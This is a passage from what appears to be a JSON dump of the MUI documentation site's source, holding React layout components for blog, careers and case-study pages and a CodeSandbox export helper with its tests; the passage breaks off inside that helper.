router.pathname.replace(/(.*)\\/(.*)/, '$2');\n  const { canonicalAsServer } = pathnameToLanguage(router.asPath);\n  const card =\n    headers.manualCard === 'true'\n      ? `/static/blog/${slug}/card.png`\n      : `/edge-functions/og-image/?title=${headers.cardTitle || finalTitle}&authors=${headers.authors\n          .map((author) => {\n            const { github, name } = authors[author];\n            return `${name} @${github}`;\n          })\n          .join(',')}&product=Blog`;\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (headers.manualCard === undefined) {\n      throw new Error(\n        [\n          `MUI: the \"manualCard\" markdown header for the blog post \"${slug}\" is missing.`,\n          `Set manualCard: true or manualCard: false header in docs/pages/blog/${slug}.md.`,\n        ].join('\\n'),\n      );\n    }\n  }\n\n  return (\n    <BrandingCssVarsProvider>\n      <AppHeader />\n      <Head\n        title={`${finalTitle} - MUI`}\n        description={description}\n        largeCard\n        disableAlternateLocale\n        card={card}\n        type=\"article\"\n      >\n        <meta name=\"author\" content={headers.authors.map((key) => authors[key].name).join(', ')} />\n        <meta property=\"article:published_time\" content={headers.date} />\n        <script\n          type=\"application/ld+json\"\n          // eslint-disable-next-line react/no-danger\n          dangerouslySetInnerHTML={{\n            __html: JSON.stringify({\n              '@context': 'https://schema.org',\n              '@type': 'Article',\n              publisher: {\n                '@type': 'Organization',\n                name: 'MUI blog',\n                url: 'https://mui.com/blog/',\n                logo: {\n                  '@type': 'ImageObject',\n                  url: 'https://mui.com/static/icons/512x512.png',\n                },\n              },\n              author: {\n                '@type': 'Person',\n                name: authors[headers.authors[0]].name,\n                image: {\n                  '@type': 'ImageObject',\n                  url: `${authors[headers.authors[0]].avatar}?s=${250}`,\n                  width: 250,\n                  height: 250,\n                },\n                sameAs: [`https://github.com/${authors[headers.authors[0]].github}`],\n              },\n              headline: finalTitle,\n              url: `https://mui.com${canonicalAsServer}`,\n              datePublished: headers.date,\n              dateModified: headers.date,\n              image: {\n                '@type': 'ImageObject',\n                url: card,\n                width: 1280,\n                height: 640,\n              },\n              keywords: headers.tags.join(', '),\n              description,\n              mainEntityOfPage: {\n                '@type': 'WebPage',\n                '@id': 'https://mui.com/blog/',\n              },\n            }),\n          }}\n        />\n      </Head>\n      <Root className={className}>\n        <AppContainer component=\"main\" className={classes.container}>\n          <Link\n            href={ROUTES.blog}\n            {...(ROUTES.blog.startsWith('http') && {\n              rel: 'nofollow',\n            })}\n            variant=\"body2\"\n            className={classes.back}\n            sx={{ color: 'primary' }}\n          >\n            <ChevronLeftRoundedIcon fontSize=\"small\" sx={{ mr: 0.5 }} />\n            {'Back to blog'}\n          </Link>\n          {headers.title ? (\n            <React.Fragment>\n              {/*\n                Depending on the timezone, the display date can change from one day to another.\n                e.g. Sunday vs. Monday\n                TODO: Move the date formatting to the server.\n              */}\n              <time dateTime={headers.date} className={classes.time}>\n                {new Intl.DateTimeFormat('en', {\n                  weekday: 'long',\n                  year: 'numeric',\n                  month: 'short',\n                  day: 'numeric',\n                }).format(new Date(headers.date))}\n              </time>\n              <MarkdownElement>\n                <h1>{headers.title}</h1>\n              </MarkdownElement>\n              <AuthorsContainer>\n                {headers.authors.map((author) => (\n                  <div key={author} className=\"author\">\n                    <Avatar\n                      sx={{ width: 36, height: 36 }}\n                      alt=\"\"\n                      src={`${authors[author].avatar}?s=${36}`}\n                      srcSet={`${authors[author].avatar}?s=${36 * 2} 2x, ${\n                        authors[author].avatar\n                      }?s=${36 * 3} 3x`}\n                    />\n                    <div>\n                      <Typography variant=\"body2\" sx={{ fontWeight: '500' }}>\n                        {authors[author].name}\n                      </Typography>\n                      <Link\n                        href={`https://github.com/${authors[author].github}`}\n                        target=\"_blank\"\n                        rel=\"noopener\"\n                        variant=\"body2\"\n                        sx={{ color: 'primary', fontWeight: 500 }}\n                      >\n                        @{authors[author].github}\n                      </Link>\n                    </div>\n                  </div>\n                ))}\n              </AuthorsContainer>\n            </React.Fragment>\n          ) : null}\n          {rendered.map((chunk, index) => {\n            return (\n              <RichMarkdownElement\n                key={index}\n                demos={demos}\n                demoComponents={demoComponents}\n                srcComponents={srcComponents}\n                renderedMarkdown={chunk}\n                disableAd\n                localizedDoc={docs.en}\n                renderedMarkdownOrDemo={chunk}\n              />\n            );\n          })}\n        </AppContainer>\n        <Divider />\n        <HeroEnd />\n        <Divider />\n        <AppFooter />\n      </Root>\n    </BrandingCssVarsProvider>\n  );\n}\n\nTopLayoutBlog.propTypes = {\n  className: PropTypes.string,\n  demoComponents: PropTypes.object,\n  demos: PropTypes.object,\n  docs: PropTypes.object.isRequired,\n  srcComponents: PropTypes.object,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  TopLayoutBlog.propTypes = exactProp(TopLayoutBlog.propTypes);\n}\n"
  },
  {
    "path": "docs/src/modules/components/TopLayoutCareers.js",
    "content": "import PropTypes from 'prop-types';\nimport { styled, alpha } from '@mui/material/styles';\nimport Divider from '@mui/material/Divider';\nimport KeyboardArrowLeftIcon from '@mui/icons-material/KeyboardArrowLeft';\nimport Head from 'docs/src/modules/components/Head';\nimport AppContainer from 'docs/src/modules/components/AppContainer';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport { Link } from '@mui/docs/Link';\nimport { useTranslate } from '@mui/docs/i18n';\n\nconst StyledDiv = styled('div')(({ theme }) => ({\n  flex: '1 0 100%',\n  background: `linear-gradient(180deg, ${(theme.vars || theme).palette.grey[50]} 0%, #FFFFFF 100%)`,\n  backgroundSize: '100% 500px',\n  backgroundRepeat: 'no-repeat',\n  ...theme.applyDarkStyles({\n    background: `linear-gradient(180deg, ${alpha(theme.palette.primary[900], 0.15)} 0%, ${(theme.vars || theme).palette.primaryDark[900]} 100%)`,\n    backgroundSize: '100% 500px',\n    backgroundRepeat: 'no-repeat',\n  }),\n}));\n\nconst StyledAppContainer = styled(AppContainer)(({ theme }) => ({\n  '& .markdownElement': {\n    [theme.breakpoints.up('md')]: {\n      paddingRight: theme.spacing(4),\n    },\n  },\n}));\n\nexport default function TopLayoutCareers(props) {\n  const { docs } = props;\n  const { description, rendered, title } = docs.en;\n  const t = useTranslate();\n\n  return (\n    <BrandingCssVarsProvider>\n      <AppHeader />\n      <Head\n        title={`${title} - MUI`}\n        description={description}\n        card=\"/static/social-previews/careers-preview.jpg\"\n      >\n        <meta name=\"robots\" content=\"noindex,nofollow\" />\n      </Head>\n      <StyledDiv>\n        <StyledAppContainer component=\"main\" sx={{ py: { xs: 3, sm: 4, md: 8 } }}>\n          <Link\n            href=\"/careers/#open-roles\"\n            rel=\"nofollow\"\n            variant=\"body2\"\n            sx={{ display: 'flex', gap: 0.5, alignItems: 'center', mb: 4 }}\n          >\n            <KeyboardArrowLeftIcon fontSize=\"small\" />\n            {t('backToOpenRoles')}\n          </Link>\n          {rendered.map((chunk, index) => {\n            return <MarkdownElement key={index} renderedMarkdown={chunk} />;\n          })}\n        </StyledAppContainer>\n        <Divider />\n        <AppFooter />\n      </StyledDiv>\n    </BrandingCssVarsProvider>\n  );\n}\n\nTopLayoutCareers.propTypes = {\n  docs: PropTypes.object.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/TopLayoutCaseStudy.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled, alpha } from '@mui/material/styles';\nimport { useRouter } from 'next/router';\nimport { exactProp } from '@mui/utils';\nimport ChevronLeftRoundedIcon from '@mui/icons-material/ChevronLeftRounded';\nimport Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppContainer from 'docs/src/modules/components/AppContainer';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport HeroEnd from 'docs/src/components/home/HeroEnd';\nimport RichMarkdownElement from 'docs/src/modules/components/RichMarkdownElement';\nimport { pathnameToLanguage } from '@mui/docs/helpers';\nimport ROUTES from 'docs/src/route';\nimport { Link } from '@mui/docs/Link';\n\nconst classes = {\n  back: 'TopLayoutCaseStudy-back',\n  time: 'TopLayoutCaseStudy-time',\n  container: 'TopLayoutCaseStudy-container',\n};\n\n// Replicate the value used by https://medium.com/, a trusted reference.\nconst BLOG_MAX_WIDTH = 692;\n\nconst Root = styled('div')(\n  ({ theme }) => ({\n    flexGrow: 1,\n    background: `linear-gradient(180deg, ${\n      (theme.vars || theme).palette.grey[50]\n    } 0%, #FFFFFF 100%)`,\n    backgroundSize: '100% 500px',\n    backgroundRepeat: 'no-repeat',\n    [`& .${classes.back}`]: {\n      display: 'flex',\n      alignItems: 'center',\n      marginBottom: theme.spacing(2),\n      marginLeft: theme.spacing(-1),\n    },\n    [`& .${classes.container}`]: {\n      paddingTop: 60 + 20,\n      marginBottom: theme.spacing(12),\n      maxWidth: `calc(${BLOG_MAX_WIDTH}px + ${theme.spacing(2 * 2)})`,\n      [theme.breakpoints.up('md')]: {\n        maxWidth: `calc(${BLOG_MAX_WIDTH}px + ${theme.spacing(3 * 2)})`,\n      },\n      [theme.breakpoints.up('lg')]: {\n        maxWidth: `calc(${BLOG_MAX_WIDTH}px + ${theme.spacing(8 * 2)})`,\n      },\n      '& h1': {\n        marginBottom: theme.spacing(3),\n      },\n    },\n    '& .markdown-body': {\n      lineHeight: 1.7,\n      '& img, & video': {\n        border: '1px solid',\n        // Avoid border to change inline style width properties\n        boxSizing: 'content-box',\n        borderColor: (theme.vars || theme).palette.grey[200],\n        borderRadius: 8,\n        display: 'block',\n        margin: 'auto',\n        marginBottom: 16,\n      },\n      '& figure': {\n        margin: 0,\n        padding: 0,\n        marginBottom: 16,\n        '& img, & video': {\n          marginBottom: 8,\n        },\n      },\n      '& figcaption': {\n        color: (theme.vars || theme).palette.text.tertiary,\n        fontSize: theme.typography.pxToRem(14),\n        textAlign: 'center',\n      },\n      '& strong': {\n        color: (theme.vars || theme).palette.grey[900],\n      },\n      '& summary': {\n        padding: 8,\n        fontSize: theme.typography.pxToRem(14),\n        fontWeight: theme.typography.fontWeightMedium,\n        color: (theme.vars || theme).palette.grey[900],\n      },\n      '& details': {\n        paddingLeft: 16,\n        paddingRight: 16,\n        background: alpha(theme.palette.grey[50], 0.5),\n        border: '1px solid',\n        borderRadius: 10,\n        borderColor: (theme.vars || theme).palette.grey[200],\n        transitionProperty: 'all',\n        transitionTiming: 'cubic-bezier(0.4, 0, 0.2, 1)',\n        transitionDuration: '200ms',\n        '&:hover, &:focus-visible': {\n          background: (theme.vars || theme).palette.grey[50],\n          borderColor: (theme.vars || theme).palette.grey[300],\n        },\n      },\n      '& th': {\n        width: '100%',\n        textAlign: 'left',\n        borderBottom: `3px solid rgba(62, 80, 96, 0.2) !important`,\n      },\n      '& .blog-description': {\n        fontSize: theme.typography.pxToRem(13),\n        marginTop: 8,\n        textAlign: 'center',\n        color: (theme.vars || theme).palette.grey[700],\n        '& a': {\n          color: 'inherit',\n          textDecoration: 'underline',\n        },\n      },\n      '& .MuiCode-root + .blog-description': {\n        marginTop: -20 + 8,\n      },\n    },\n    [`& .${classes.time}`]: {\n      color: (theme.vars || theme).palette.text.secondary,\n      ...theme.typography.caption,\n      fontWeight: 500,\n    },\n  }),\n  ({ theme }) =>\n    theme.applyDarkStyles({\n      background: `linear-gradient(180deg, ${alpha(theme.palette.primary[900], 0.2)} 0%, ${\n        (theme.vars || theme).palette.primaryDark[900]\n      } 100%)`,\n      backgroundSize: '100% 1000px',\n      backgroundRepeat: 'no-repeat',\n      '& .markdown-body': {\n        '& strong': {\n          color: (theme.vars || theme).palette.grey[100],\n        },\n        '& summary': {\n          color: (theme.vars || theme).palette.grey[300],\n        },\n        '& img, & video': {\n          borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n        },\n        '& details': {\n          background: alpha(theme.palette.primary[900], 0.3),\n          borderColor: (theme.vars || theme).palette.primaryDark[700],\n          '&:hover, &:focus-visible': {\n            background: alpha(theme.palette.primary[900], 0.4),\n            borderColor: (theme.vars || theme).palette.primaryDark[500],\n          },\n        },\n        '& .blog-description': {\n          color: (theme.vars || theme).palette.grey[500],\n        },\n      },\n    }),\n);\n\nexport default function TopLayoutCaseStudy(props) {\n  const { className, docs, demos, demoComponents, srcComponents } = props;\n  const { description, rendered, title, headers } = docs.en;\n  const finalTitle = title || headers.title;\n  const router = useRouter();\n  const slug = router.pathname.replace(/(.*)\\/(.*)/, '$2');\n  const { canonicalAsServer } = pathnameToLanguage(router.asPath);\n  const card = `/static/blog/${slug}/card.png`;\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (headers.manualCard === undefined) {\n      throw new Error(\n        [\n          `MUI: the \"manualCard\" markdown header for the blog post \"${slug}\" is missing.`,\n          `Set manualCard: true or manualCard: false header in docs/pages/blog/${slug}.md.`,\n        ].join('\\n'),\n      );\n    }\n  }\n\n  return (\n    <BrandingCssVarsProvider>\n      <AppHeader />\n      <Head\n        title={`${finalTitle} - MUI`}\n        description={description}\n        largeCard\n        disableAlternateLocale\n        card={card}\n        type=\"article\"\n      >\n        <script\n          type=\"application/ld+json\"\n          // eslint-disable-next-line react/no-danger\n          dangerouslySetInnerHTML={{\n            __html: JSON.stringify({\n              '@context': 'https://schema.org',\n              '@type': 'Article',\n              publisher: {\n                '@type': 'Organization',\n                name: 'MUI blog',\n                url: 'https://mui.com/blog/',\n                logo: {\n                  '@type': 'ImageObject',\n                  url: 'https://mui.com/static/icons/512x512.png',\n                },\n              },\n              headline: finalTitle,\n              url: `https://mui.com${canonicalAsServer}`,\n              image: {\n                '@type': 'ImageObject',\n                url: card,\n                width: 1280,\n                height: 640,\n              },\n              keywords: headers.tags.join(', '),\n              description,\n              mainEntityOfPage: {\n                '@type': 'WebPage',\n                '@id': 'https://mui.com/blog/',\n              },\n            }),\n          }}\n        />\n      </Head>\n      <Root className={className}>\n        <AppContainer component=\"main\" className={classes.container}>\n          <Link\n            href={ROUTES.customers}\n            {...(ROUTES.customers.startsWith('http') && {\n              rel: 'nofollow',\n            })}\n            variant=\"body2\"\n            className={classes.back}\n            sx={{ color: 'primary' }}\n          >\n            <ChevronLeftRoundedIcon fontSize=\"small\" sx={{ mr: 0.5 }} />\n            {'Back'}\n          </Link>\n          {rendered.map((chunk, index) => {\n            return (\n              <RichMarkdownElement\n                key={index}\n                demos={demos}\n                demoComponents={demoComponents}\n                srcComponents={srcComponents}\n                renderedMarkdown={chunk}\n                disableAd\n                localizedDoc={docs.en}\n                renderedMarkdownOrDemo={chunk}\n              />\n            );\n          })}\n        </AppContainer>\n        <Divider />\n        <HeroEnd />\n        <Divider />\n        <AppFooter />\n      </Root>\n    </BrandingCssVarsProvider>\n  );\n}\n\nTopLayoutCaseStudy.propTypes = {\n  className: PropTypes.string,\n  demoComponents: PropTypes.object,\n  demos: PropTypes.object,\n  docs: PropTypes.object.isRequired,\n  srcComponents: PropTypes.object,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  TopLayoutCaseStudy.propTypes = exactProp(TopLayoutCaseStudy.propTypes);\n}\n"
  },
  {
    "path": "docs/src/modules/components/W3CIcon.js",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fillRule=\"nonzero\" fill=\"none\">\n    <path\n      d=\"M6.92 6.1l2.33 7.99 2.32-8h6.3v.8l-2.37 4.14c.83.27 1.46.76 1.89 1.47.43.71.64 1.55.64 2.51 0 1.2-.31 2.2-.94 3a2.93 2.93 0 01-2.42 1.22 2.9 2.9 0 01-1.96-.72 4.25 4.25 0 01-1.23-1.96l1.31-.55c.2.5.45.9.76 1.18.32.28.69.43 1.12.43.44 0 .82-.26 1.13-.76.31-.51.47-1.12.47-1.84 0-.79-.17-1.4-.5-1.83-.38-.5-.99-.76-1.81-.76h-.64v-.78l2.24-3.92h-2.7l-.16.26-3.3 11.25h-.15l-2.4-8.14-2.41 8.14h-.16L.43 6.1H2.1l2.33 7.99L6 8.71 5.24 6.1h1.68z\"\n      fill=\"#005A9C\"\n    />\n    <g fill=\"currentColor\">\n      <path d=\"M23.52 6.25l.28 1.62-.98 1.8s-.38-.76-1.01-1.19c-.53-.35-.87-.43-1.41-.33-.7.14-1.48.93-1.82 1.9-.41 1.18-.42 1.74-.43 2.26a4.9 4.9 0 00.11 1.33s-.6-1.06-.59-2.61c0-1.1.19-2.11.72-3.1.47-.87 1.17-1.4 1.8-1.45.63-.07 1.14.23 1.53.55.42.33.83 1.07.83 1.07l.97-1.85zM23.64 15.4s-.43.75-.7 1.04c-.27.28-.76.79-1.36 1.04-.6.25-.91.3-1.5.25a3.03 3.03 0 01-1.34-.52 5.08 5.08 0 01-1.67-2.04s.24.75.39 1.07c.09.18.36.74.74 1.23a3.5 3.5 0 002.1 1.42c1.04.18 1.76-.27 1.94-.38a5.32 5.32 0 001.4-1.43c.1-.14.25-.43.25-.43l-.25-1.25z\" />\n    </g>\n  </g>,\n  'W3C',\n);\n"
  },
  {
    "path": "docs/src/modules/components/bootstrap.js",
    "content": "// Disable auto highlighting\n// https://github.com/PrismJS/prism/issues/765\nif (typeof window !== 'undefined') {\n  window.Prism = window.Prism || {};\n  window.Prism.manual = true;\n}\n"
  },
  {
    "path": "docs/src/modules/constants.js",
    "content": "export const CODE_VARIANTS = {\n  JS: 'JS',\n  TS: 'TS',\n};\n\nexport const CODE_STYLING = {\n  SYSTEM: 'MUI System',\n  TAILWIND: 'Tailwind',\n  CSS: 'CSS',\n};\n\n// Valid languages to use in production\nexport const LANGUAGES_LABEL = [\n  {\n    code: 'en',\n    text: 'English',\n  },\n];\n"
  },
  {
    "path": "docs/src/modules/material/sourceMaterialTemplates.ts",
    "content": "const templateMap = new Map<string, { files: Record<string, string>; codeVariant: 'TS' | 'JS' }>();\nlet sharedTheme: { files: Record<string, string>; codeVariant: 'TS' | 'JS' } | null = null;\n// @ts-ignore\nconst req = require.context(\n  '../../../data/material/getting-started/templates/?raw',\n  true,\n  /^\\.\\/[^/]+\\/.*\\.(js|tsx|ts)$/,\n);\nreq.keys().forEach((key: string) => {\n  const match = /\\/(?<name>[^/]+)\\/(?<filePath>.*)/.exec(key);\n  if (match) {\n    const name = match.groups?.name;\n    const filePath = match.groups?.filePath;\n    if (name && filePath?.match(/\\.(ts|tsx)$/)) {\n      if (name === 'shared-theme') {\n        sharedTheme = {\n          files: { ...sharedTheme?.files, [`theme/${filePath}`]: req(key) },\n          codeVariant: 'TS',\n        };\n      } else {\n        templateMap.set(name, {\n          files: { ...templateMap.get(name)?.files, [filePath]: req(key) },\n          codeVariant: 'TS',\n        });\n      }\n    }\n  }\n});\n\nexport interface TemplateData {\n  files: Record<string, string>;\n  codeVariant: 'TS' | 'JS';\n}\n\nexport default function sourceMaterialTemplates() {\n  return {\n    names: Array.from(templateMap.keys()),\n    templates: Array.from(templateMap.values()),\n    map: new Map(templateMap),\n    sharedTheme,\n  };\n}\n"
  },
  {
    "path": "docs/src/modules/sandbox/CodeSandbox.test.js",
    "content": "import { expect } from 'chai';\nimport CodeSandbox from './CodeSandbox';\n\nconst testCase = `import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n`;\n\ndescribe('CodeSandbox', () => {\n  it('generate the correct JavaScript result', () => {\n    const result = CodeSandbox.createReactApp({\n      title: 'BasicButtons Material Demo',\n      githubLocation:\n        'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.js',\n      codeVariant: 'JS',\n      language: 'en',\n      raw: testCase,\n    });\n    expect(result.files).to.deep.equal({\n      'package.json': {\n        content: {\n          private: true,\n          description:\n            'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.js',\n          dependencies: {\n            react: 'latest',\n            // #npm-tag-reference\n            '@mui/material': 'next',\n            'react-dom': 'latest',\n            '@emotion/react': 'latest',\n            '@emotion/styled': 'latest',\n          },\n          devDependencies: {\n            'react-scripts': 'latest',\n          },\n          scripts: {\n            start: 'react-scripts start',\n            build: 'react-scripts build',\n            test: 'react-scripts test',\n            eject: 'react-scripts eject',\n          },\n        },\n      },\n      'public/index.html': {\n        content: `<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>BasicButtons Material Demo</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/icon?family=Material+Icons\"\n    />\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    \\n  </body>\n</html>`,\n      },\n      'src/Demo.js': {\n        content: `import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n`,\n      },\n      'src/index.js': {\n        content: `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport Demo from './Demo';\n\nReactDOM.createRoot(document.querySelector(\"#root\")).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <Demo />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`,\n      },\n    });\n  });\n\n  it('generate the correct TypeScript result', () => {\n    const result = CodeSandbox.createReactApp({\n      title: 'BasicButtons Material Demo',\n      githubLocation:\n        'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.tsx',\n      codeVariant: 'TS',\n      language: 'en',\n      raw: testCase,\n    });\n    expect(result.files).to.deep.equal({\n      'package.json': {\n        content: {\n          private: true,\n          description:\n            'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.tsx',\n          dependencies: {\n            react: 'latest',\n            // #npm-tag-reference\n            '@mui/material': 'next',\n            'react-dom': 'latest',\n            '@emotion/react': 'latest',\n            '@emotion/styled': 'latest',\n            typescript: 'latest',\n          },\n          devDependencies: {\n            'react-scripts': 'latest',\n            '@types/react': 'latest',\n            '@types/react-dom': 'latest',\n          },\n          scripts: {\n            build: 'react-scripts build',\n            eject: 'react-scripts eject',\n            start: 'react-scripts start',\n            test: 'react-scripts test',\n          },\n        },\n      },\n      'public/index.html': {\n        content: `<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>BasicButtons Material Demo</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/icon?family=Material+Icons\"\n    />\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    \\n  </body>\n</html>`,\n      },\n      'src/Demo.tsx': {\n        content: `import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n`,\n      },\n      'src/index.tsx': {\n        content: `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport Demo from './Demo';\n\nReactDOM.createRoot(document.querySelector(\"#root\")!).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <Demo />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`,\n      },\n      'tsconfig.json': {\n        content: `{\n  \"compilerOptions\": {\n    \"target\": \"es5\",\n    \"lib\": [\n      \"dom\",\n      \"dom.iterable\",\n      \"esnext\"\n    ],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"esModuleInterop\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"strict\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"jsx\": \"react\"\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n`,\n      },\n    });\n    expect(result.dependencies).to.deep.equal({\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      react: 'latest',\n      'react-dom': 'latest',\n      typescript: 'latest',\n    });\n    expect(result.devDependencies).to.deep.equal({\n      'react-scripts': 'latest',\n      '@types/react': 'latest',\n      '@types/react-dom': 'latest',\n    });\n  });\n\n  it('should generate the correct stylesheet font link in index.html for Material Two Tones icons', () => {\n    const raw = `import * as React from 'react';\n    import Icon from '@mui/material/Icon';\n\n    export default function TwoToneIcons() {\n      return <Icon baseClassName=\"material-icons-two-tone\">add_circle</Icon>;\n    }\n    `;\n\n    const result = CodeSandbox.createReactApp({\n      raw,\n      codeVariant: 'JS',\n    });\n\n    expect(result.files['public/index.html'].content).to.contain(\n      'https://fonts.googleapis.com/icon?family=Material+Icons+Two+Tone',\n    );\n  });\n});\n"
  },
  {
    "path": "docs/src/modules/sandbox/CodeSandbox.ts",
    "content": "// @ts-ignore\nimport LZString from 'lz-string';\nimport addHiddenInput from 'docs/src/modules/utils/addHiddenInput';\nimport SandboxDependencies from 'docs/src/modules/sandbox/Dependencies';\nimport * as CRA from 'docs/src/modules/sandbox/CreateReactApp';\nimport getFileExtension from 'docs/src/modules/sandbox/FileExtension';\nimport flattenRelativeImports from 'docs/src/modules/sandbox/FlattenRelativeImports';\nimport type { SandboxConfig } from '@mui/docs/DemoContext';\nimport { DemoData, CodeVariant } from 'docs/src/modules/sandbox/types';\n\nconst CSB_DEV_DEPENDENCIES = {\n  'react-scripts': 'latest',\n};\n\nfunction compress(object: any) {\n  return LZString.compressToBase64(JSON.stringify(object))\n    .replace(/\\+/g, '-') // Convert '+' to '-'\n    .replace(/\\//g, '_') // Convert '/' to '_'\n    .replace(/=+$/, ''); // Remove ending '='\n}\n\nfunction openSandbox({ files, codeVariant, initialFile }: any) {\n  const extension = codeVariant === 'TS' ? '.tsx' : '.js';\n  const parameters = compress({ files });\n\n  // ref: https://codesandbox.io/docs/api/#define-api\n  const form = document.createElement('form');\n  form.method = 'POST';\n  form.target = '_blank';\n  form.action = 'https://codesandbox.io/api/v1/sandboxes/define';\n  addHiddenInput(form, 'parameters', parameters);\n  addHiddenInput(form, 'embed', '1');\n  addHiddenInput(\n    form,\n    'query',\n    `module=${initialFile}${initialFile.match(/(\\.tsx|\\.ts|\\.js)$/) ? '' : extension}&fontsize=12`,\n  );\n  document.body.appendChild(form);\n  form.submit();\n  document.body.removeChild(form);\n}\n\nfunction createReactApp(demoData: DemoData, csbConfig?: SandboxConfig) {\n  const ext = getFileExtension(demoData.codeVariant);\n  const { title, githubLocation: description } = demoData;\n\n  const files: Record<string, object> = {\n    'public/index.html': {\n      content: CRA.getHtml(demoData),\n    },\n    [`src/index.${ext}`]: {\n      content: CRA.getRootIndex(demoData, csbConfig),\n    },\n    [`src/Demo.${ext}`]: {\n      content: flattenRelativeImports(demoData.raw),\n    },\n    // Spread the relative modules\n    ...(demoData.relativeModules &&\n      // Transform the relative modules array into an object\n      demoData.relativeModules.reduce(\n        (acc, curr) => ({\n          ...acc,\n          // Remove the path and keep the filename\n          [`src/${curr.module.replace(/^.*[\\\\/]/g, '')}`]: {\n            content: flattenRelativeImports(curr.raw),\n          },\n        }),\n        {},\n      )),\n    ...(demoData.codeVariant === 'TS' && {\n      'tsconfig.json': {\n        content: CRA.getTsconfig(),\n      },\n    }),\n  };\n\n  const { dependencies, devDependencies } = SandboxDependencies(demoData, {\n    commitRef: process.env.PULL_REQUEST_ID ? process.env.COMMIT_REF : undefined,\n    devDeps: CSB_DEV_DEPENDENCIES,\n    csbConfig,\n  });\n\n  files['package.json'] = {\n    content: {\n      private: true,\n      description,\n      dependencies,\n      devDependencies,\n      scripts: {\n        start: 'react-scripts start',\n        build: 'react-scripts build',\n        test: 'react-scripts test',\n        eject: 'react-scripts eject',\n      },\n    },\n  };\n\n  return {\n    title,\n    description,\n    files,\n    dependencies,\n    devDependencies,\n    /**\n     * @param {string} initialFile\n     * @description should start with `/`, for example `/Demo.tsx`. If the extension is not provided,\n     * it will be appended based on the code variant.\n     */\n    openSandbox: 